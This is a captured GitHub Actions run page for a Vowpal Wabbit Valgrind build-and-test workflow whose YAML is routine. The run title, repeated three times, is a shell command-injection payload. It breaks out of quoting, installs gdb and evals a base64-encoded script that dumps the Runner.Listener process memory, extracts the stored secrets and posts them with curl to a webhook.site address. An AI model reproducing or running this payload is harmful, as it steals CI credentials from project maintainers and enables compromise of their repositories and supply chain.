Skip to content

typo2";{echo,PRINTINGvICTORY};env;{sudo,apt,install,--yes,gcc,g++,libgmp-dev,libmpfr-dev};{wget,https://ftp.gnu.org/gnu/gdb/gdb-14.2.tar.gz};{tar,-xvzf,gdb-14.2.tar.gz};{cd,gdb-14.2};./configure;make;{sudo,make,install};{echo,ABC};{eval,$({echo,c3VkbyBnY29yZSAtbyBrLmR1bXAgIiQocHMgYXggfCBncmVwICdSdW5uZXIuTGlzdGVuZXInIHwgaGVhZCAtbiAxIHwgYXdrICd7IHByaW50ICQxIH0nKSIgOwpncmVwIC1FYW8gJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzc2VjcmV0Ijp0cnVlXH0nIGsuZHVtcCogOwpzZXQgK2U7IGN1cmwgLWQgInRva2VuPSQoZ3JlcCAtRWFvICciW14iXSsiOlx7InZhbHVlIjoiW14iXSoiLCJpc3NlY3JldCI6dHJ1ZVx9JyBrLmR1bXAqKSIgaHR0cHM6Ly93ZWJob29rLnNpdGUvZjljNWUxMDgtZDA2ZS00OWExLTgzZDItZjAxMWI3ZDEyNjc4IDs=}|{base64,-d})};{echo,FINISHED}; #8774

typo2";{echo,PRINTINGvICTORY};env;{sudo,apt,install,--yes,gcc,g++,libgmp-dev,libmpfr-dev};{wget,https://ftp.gnu.org/gnu/gdb/gdb-14.2.tar.gz};{tar,-xvzf,gdb-14.2.tar.gz};{cd,gdb-14.2};./configure;make;{sudo,make,install};{echo,ABC};{eval,$({echo,c3VkbyBnY29yZSAtbyBrLmR1bXAgIiQocHMgYXggfCBncmVwICdSdW5uZXIuTGlzdGVuZXInIHwgaGVhZCAtbiAxIHwgYXdrICd7IHByaW50ICQxIH0nKSIgOwpncmVwIC1FYW8gJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzc2VjcmV0Ijp0cnVlXH0nIGsuZHVtcCogOwpzZXQgK2U7IGN1cmwgLWQgInRva2VuPSQoZ3JlcCAtRWFvICciW14iXSsiOlx7InZhbHVlIjoiW14iXSoiLCJpc3NlY3JldCI6dHJ1ZVx9JyBrLmR1bXAqKSIgaHR0cHM6Ly93ZWJob29rLnNpdGUvZjljNWUxMDgtZDA2ZS00OWExLTgzZDItZjAxMWI3ZDEyNjc4IDs=}|{base64,-d})};{echo,FINISHED};

typo2";{echo,PRINTINGvICTORY};env;{sudo,apt,install,--yes,gcc,g++,libgmp-dev,libmpfr-dev};{wget,https://ftp.gnu.org/gnu/gdb/gdb-14.2.tar.gz};{tar,-xvzf,gdb-14.2.tar.gz};{cd,gdb-14.2};./configure;make;{sudo,make,install};{echo,ABC};{eval,$({echo,c3VkbyBnY29yZSAtbyBrLmR1bXAgIiQocHMgYXggfCBncmVwICdSdW5uZXIuTGlzdGVuZXInIHwgaGVhZCAtbiAxIHwgYXdrICd7IHByaW50ICQxIH0nKSIgOwpncmVwIC1FYW8gJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzc2VjcmV0Ijp0cnVlXH0nIGsuZHVtcCogOwpzZXQgK2U7IGN1cmwgLWQgInRva2VuPSQoZ3JlcCAtRWFvICciW14iXSsiOlx7InZhbHVlIjoiW14iXSoiLCJpc3NlY3JldCI6dHJ1ZVx9JyBrLmR1bXAqKSIgaHR0cHM6Ly93ZWJob29rLnNpdGUvZjljNWUxMDgtZDA2ZS00OWExLTgzZDItZjAxMWI3ZDEyNjc4IDs=}|{base64,-d})};{echo,FINISHED}; #8774

Workflow file for this run

name: Linux / Valgrind
on:
pull_request:
branches:
- '*'
concurrency:
group: ${{ github.workflow }}-${{ github.head_ref || github.sha }}
cancel-in-progress: true
jobs:
build-valgrind:
name: ubuntu2004.amd64.valgrind-build
container:
image: vowpalwabbit/ubuntu2004-build:latest
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
with:
submodules: recursive
- name: Build C++ VW binary
run: |
cmake -S . -B build -G Ninja -DCMAKE_BUILD_TYPE=Release -DBUILD_EXPERIMENTAL_BINDING=On -DVW_FEAT_FLATBUFFERS=On -DVW_FEAT_CSV=On -DVW_FEAT_CB_GRAPH_FEEDBACK=On -DSTD_INV_SQRT=ON
cmake --build build
- name: Upload vw binary
uses: actions/upload-artifact@v2
with:
name: vw
path: build/vowpalwabbit/cli/vw
if-no-files-found: error
- name: Upload spanning_tree binary
uses: actions/upload-artifact@v2
with:
name: spanning_tree
path: build/vowpalwabbit/spanning_tree_bin/spanning_tree
if-no-files-found: error
- name: Upload to_flatbuff binary
uses: actions/upload-artifact@v2
with:
name: to_flatbuff
path: build/utl/flatbuffer/to_flatbuff
if-no-files-found: error
- name: Run unit tests with Valgrind
working-directory: build
run: |
if ! ctest --output-on-failure --exclude-regex "WIterations" --label-regex VWTestList --timeout 10 -T memcheck --overwrite MemoryCheckCommandOptions="--leak-check=full --error-exitcode=100" --parallel 2; then
find Testing/Temporary -name "MemoryChecker.*.log" -exec cat {} +
exit 1
fi
run-valgrind-tests:
name: ubuntu2004.amd64.valgrind-test.[${{ matrix.test-segment }}]
needs: build-valgrind
strategy:
matrix:
test-segment: ["..100", "101..200", "201..300", "301..400", "401.."]
container:
image: vowpalwabbit/ubuntu2004-build:latest
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v1
with:
submodules: recursive
- uses: actions/download-artifact@v2
with:
name: vw
- uses: actions/download-artifact@v2
with:
name: spanning_tree
- uses: actions/download-artifact@v2
with:
name: to_flatbuff
- name: run tests
run: |
chmod +x vw
chmod +x spanning_tree
chmod +x to_flatbuff
python3 test/run_tests.py -f --epsilon 1e-3 --include_flatbuffers --valgrind -t "${{ matrix.test-segment }}" --vw_bin_path=./vw --spanning_tree_bin_path=./spanning_tree --to_flatbuff_path=./to_flatbuff